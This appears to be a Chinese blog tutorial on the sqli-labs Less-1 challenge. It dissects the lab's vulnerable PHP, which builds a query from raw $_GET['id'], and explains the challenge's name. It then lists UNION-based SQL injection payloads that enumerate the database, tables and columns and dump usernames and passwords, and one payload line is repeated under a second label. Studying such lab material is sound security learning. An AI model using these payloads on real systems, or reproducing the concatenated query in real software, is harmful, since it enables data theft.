0x00 Outline
我们经常提到各种sql注入,并且在学习的过程中我们看到了各种做题记录(比如sqllab)等等,这篇博客就不跟风啦!
我们从另外一个角度来学习sql注入,即剖析原理!硬读代码(强行从黑盒变成白盒,目的就是为了面对黑盒的时候心中有数
我们这篇博客的一个思路就是弄清楚,为什么xxx题叫xxx,这个题的类型是别人总结好的,那我们来看看为什么叫这个!
例如
GET - Error based - Single quotes - String(基于错误的GET单引号字符型注入)
为什么叫GET - Error based Single quotes - string
0x01浅跟一手风,我们从sqllab开始吧!
less-1
做过sqllab的同学都知道,这第一关就是个
GET - Error based - Single quotes - String(基于错误的GET单引号字符型注入)
if(isset($_GET['id']))
{
$id=$_GET['id'];
/*这里是用来log的,跟这个题没啥关系
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
*/
// 以下是用来进行数据库操作的代码
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
print("你的查询字符串是:");
print($sql);
echo "<br/>";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
GET
if(isset($_GET['id']))
{
$id=$_GET['id'];
...
}
题目通过get方式请求传入一个参数,即我们的查询参数都给到php文件中的全局变量数组$_GET['id']
Error Based
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
可以看见我们传入的语句被放入了$sql变量中的一部分 id = ' $id' 这个后引号限制住了我们的所有操作,如果想要hack点什么东西就必须得越过这个单引号。
为了确保我的目的是对的(越过单引号)我需要先传一个
payload: .../?id=0’
request: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''0'' LIMIT 0,1' at line 1
这样就验证可行了
Single quotes
当使用<form>标签的get或者post方法时,最后会给php中的某一个变量分别赋予用户输入的值,而在赋值完之后把这些变量加入到sql语句中时,会自动加上两个单引号。比如用户输入abc,最后在sql语句中会自动变成 ’ abc ‘ 的形式,因此使用一个单引号等价于让之前语句提前结束了
payload
剩下我们需要干的就是前面说的,绕过这个单引号用--+,剩下的爆库查表就不说了,如果有问题请去看sql的语法,用这个lab学的更快哦
https://www.mysqltutorial.org/
//爆库
?id=-1' union select 1,2,database() --+
//爆表
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
//爆列
?id=0' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+
//字段
?id=0' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+
//payload
?id=0' union select 1,2,group_concat(username,0x3a,password) from users--+
这篇blog是一个test,看一下这样子替代做题记录效果如何